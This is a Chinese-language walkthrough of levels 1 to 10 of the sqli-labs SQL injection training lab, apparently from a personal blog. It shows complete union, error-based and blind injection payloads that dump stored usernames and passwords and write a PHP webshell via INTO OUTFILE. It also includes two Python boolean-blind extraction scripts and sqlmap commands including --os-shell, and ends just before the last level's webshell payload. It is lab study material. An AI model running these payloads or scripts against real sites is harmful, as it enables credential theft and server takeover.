sqli-labs通关(less1~less10)

目录

题外话

Less-1

Less-2

Less-3

 Less-4

Less-5

Less-6

Less-7

Less-8

Less-9

Less-10


这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。

题外话

1、我刚发现,原来每关源代码同目录的result.txt中都会记录每次输入的payload

sqli-labs通关(less1~less10)

sqli-labs通关(less1~less10)

2、闯关的时候发现一个神奇的情况,如果字段本身是int类型,并且在查询语句中该字段的值被双引号或者单引号包裹,则只要值是以正确数字开头的,后面接多余的字符还是可以返回正确的查询结果,甚至单引号中可以包含双引号,双引号中可以包含单引号。如下图所示:

sqli-labs通关(less1~less10)

Less-1

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-1/?id=1

能够知道本关的查询结果是会回显的

sqli-labs通关(less1~less10)

然后输入http://192.168.101.16/sqli-labs-master/Less-1/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号

sqli-labs通关(less1~less10)

这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'C:/less1.php'-- s

爆库结果:sqli-labs通关(less1~less10)

 写入服务器的webshell:

sqli-labs通关(less1~less10)

 这关代码如下,没有对id进行过滤,29行可以看出闭合是单引号,36和38行看出查询结果有回显,另外44行是用于在sql语句有语法问题的时候返回错误的。

sqli-labs通关(less1~less10)

Less-2

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-2/?id=1

能够知道本关的查询结果是会回显的

sqli-labs通关(less1~less10)

 然后输入http://192.168.101.16/sqli-labs-master/Less-2/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关不用闭合

sqli-labs通关(less1~less10)

这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s

 爆库结果:

sqli-labs通关(less1~less10)

 写入服务器的webshell:

sqli-labs通关(less1~less10)

 本关代码如下,可以看出除了32行的sql语句中$id没有用引号闭合之外,其他和Less-1都是相同的。

 sqli-labs通关(less1~less10)

Less-3

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-3/?id=1

能够知道本关的查询结果是会回显的

sqli-labs通关(less1~less10)

 然后输入http://192.168.101.16/sqli-labs-master/Less-3/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是')

sqli-labs通关(less1~less10)

 这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,'<?php assert($_POST[less3]);?>' into outfile 'C:/less3.php'-- s

 爆库结果:

sqli-labs通关(less1~less10)

 写入服务器的webshell:

 sqli-labs通关(less1~less10)

  本关代码如下,可以看出除了31行的sql语句中的闭合之外,其他和Less-1都是相同的。

sqli-labs通关(less1~less10)

 Less-4

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-4/?id=1

能够知道本关的查询结果是会回显的

sqli-labs通关(less1~less10)

  然后输入http://192.168.101.16/sqli-labs-master/Less-4/?id=1"

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是")

(注意这关输入id=1'是不会报错的,原因就是题外话的第2条)

sqli-labs通关(less1~less10)

  这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,'<?php assert($_POST[less4]);?>' into outfile 'C:/less4.php'-- s

 爆库结果:

sqli-labs通关(less1~less10)

 写入服务器的webshell:

 sqli-labs通关(less1~less10)

  本关代码如下,从28,29行可以看出,本关除了sql语句中的闭合之外,其他和Less-1都是相同的。

sqli-labs通关(less1~less10)

Less-5

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-5/?id=1

能够知道本关的查询结果不回显

sqli-labs通关(less1~less10)

 然后输入http://192.168.101.16/sqli-labs-master/Less-5/?id=1'

 发现语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号sqli-labs通关(less1~less10)

   这关使用报错注入,后续爆库和写webshell的payload如下:

#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

爆库结果分好几段,这边就展示第一段

sqli-labs通关(less1~less10)

  写入服务器的webshell:

sqli-labs通关(less1~less10)

下面是本关代码,和Less-1的显著不同是33-39行,查询结果不回显

sqli-labs通关(less1~less10)

Less-6

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-6/?id=1

能够知道本关的查询结果不回显

sqli-labs通关(less1~less10)

再输入:http://192.168.101.16/sqli-labs-master/Less-6/?id=1"

发现语法报错还是存在的,并且从报错可以判断出本关的闭合是双引号

sqli-labs通关(less1~less10)

 这关使用报错注入,后续爆库和写webshell的payload如下:

#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" into outfile 'C:/less6.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373365d293b3f3e-- s

爆库结果分好几段,这边就展示第一段

sqli-labs通关(less1~less10)

写入服务器的webshell

sqli-labs通关(less1~less10)

 下面是本关代码,和Less-5的区别仅在于sql语句的参数值闭合符号不同(28,29行)

sqli-labs通关(less1~less10)

Less-7

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-7/?id=1

能够知道本关的查询结果不回显

sqli-labs通关(less1~less10)

 再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=1'

发现本关不会显示具体的sql语法问题

sqli-labs通关(less1~less10)

再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=-1

发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同。这关可以用bool盲注。

如果手工注入的话,闭合可以用burpsuite爆破,这里就不写了。找到闭合之后,就可以开始爆库和写webshell了。

关于爆库,这关我改了一下之前写的脚本(JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)),修改后的代码如下:

#!/usr/bin/python3
# coding=utf-8

"""
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-7/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'You are in'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabase7():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1')) and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1')) and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1')) and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def Tables7():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))


def Columns7(table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def Content7(table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 测试结果如下:

sqli-labs通关(less1~less10)

 写入webshell使用如下payload:

http://192.168.101.16/sqli-labs-master/Less-7/?id=1')) into outfile 'C:/less7.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e-- s

0x后面是<?php assert($_POST[less7]);?>的十六进制编码。服务器上写入的webshell如下:

sqli-labs通关(less1~less10)

 本关代码如下,从45,46行可见,当查询不到正确结果的时候,输出提示You have an error in your SQL syntax,而不返回报错。

sqli-labs通关(less1~less10)

Less-8

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-8/?id=1

能够知道本关的查询结果不回显

sqli-labs通关(less1~less10)

 再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=1'

发现除了固定页面显示之外,没有任何回显

sqli-labs通关(less1~less10) 再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=-1

效果和上图一样。这关可以用bool盲注。

同样,这关我们手工注入找闭合可以用burpsuite爆破。

 接下来的爆库,我在上一关代码的基础上做了修改,修改后的代码如下:

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-8/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'You are in'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabaseGET():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1' and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1' and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def TablesGET():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))


def ColumnsGET(table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def ContentGET(table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 爆库结果:

sqli-labs通关(less1~less10)

 接下来写webshell:

http://192.168.101.16/sqli-labs-master/Less-8/?id=1' into outfile 'C:/less8.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373385d293b3f3e-- s

服务器中写入的webshell如下:

sqli-labs通关(less1~less10)

本关代码如下,代码上看和上一关的主要区别在于数据库未查询到正确结果时,本关什么都不回显,注入逻辑上看其实没啥区别

sqli-labs通关(less1~less10)

Less-9

本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:

sqli-labs通关(less1~less10)

输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(2),0)-- s

页面会过2s再刷新成功

输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(2),0)-- s

页面立刻刷新成功

本关可以用基于时间的盲注

这关用sqlmap来试试,启动sqlmap并输入如下语句

#获取所有数据库名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
#写马
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell 

爆库结果:

sqli-labs通关(less1~less10)

写马的时候,发生了一件令我疑惑的事情,目录C:\phpstudy_pro\WWW下命令行shell和上传文件的shell都可以写成功,但目录C:\less9下只能写入上传文件的shell,并且sqlmap的返回结果说写shell失败。具体原因目前还不清楚。

然后又发现一件搞笑的事情,我仔细一看,sqlmap不但识别出本关可以使用时间盲注,还识别出本关可以使用布尔盲注。并且看了本关文件夹下的result.txt之后发现,sqlmap最终选的注入方法是布尔盲注(好机智,毕竟时间盲注慢)。

sqli-labs通关(less1~less10)

看了本关代码之后发现,原来查询到结果和查询不到结果的返回页面有html代码上的区别……

启示:以后遇到参数值输入正确和错误页面回显一样的情况,还得看看网页源代码

sqli-labs通关(less1~less10)

备注:本关也可以手工注入写马:

http://192.168.101.16/sqli-labs-master/Less-9/?id=1' into outfile 'C:/less9.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E-- s

 写入服务器的webshell:

sqli-labs通关(less1~less10)

Less-10

本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:

sqli-labs通关(less1~less10)

查看网页源代码,下图是id=1的时候

sqli-labs通关(less1~less10)

 下图是id=-1的时候

sqli-labs通关(less1~less10)

差异还是挺明显的,所以这关也是可以进行布尔盲注的,可是标题说了time based所以……到底要不要给面子呢?

还是给点面子吧^^

这题如果用手工注入,可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)sqli_tb.py

我这里又偷懒了,用sqlmap来注入,payload和上一关差不多,但是要多加点参数(--technique T --level 3),具体如下:

#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --current-db --technique T --level 3
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --tables -D security --technique T --level 3
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --columns -D security -T users --technique T --level 3
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --dump -D security -T users -C username,password --technique T --level 3

时间盲注真的很慢!!!能用别的就别用这个!!

手工注入一下webshell:

先看看sqlmap注入用的payload,可见闭合是双引号

sqli-labs通关(less1~less10)

 所以可以用下面的payload来写webshell:

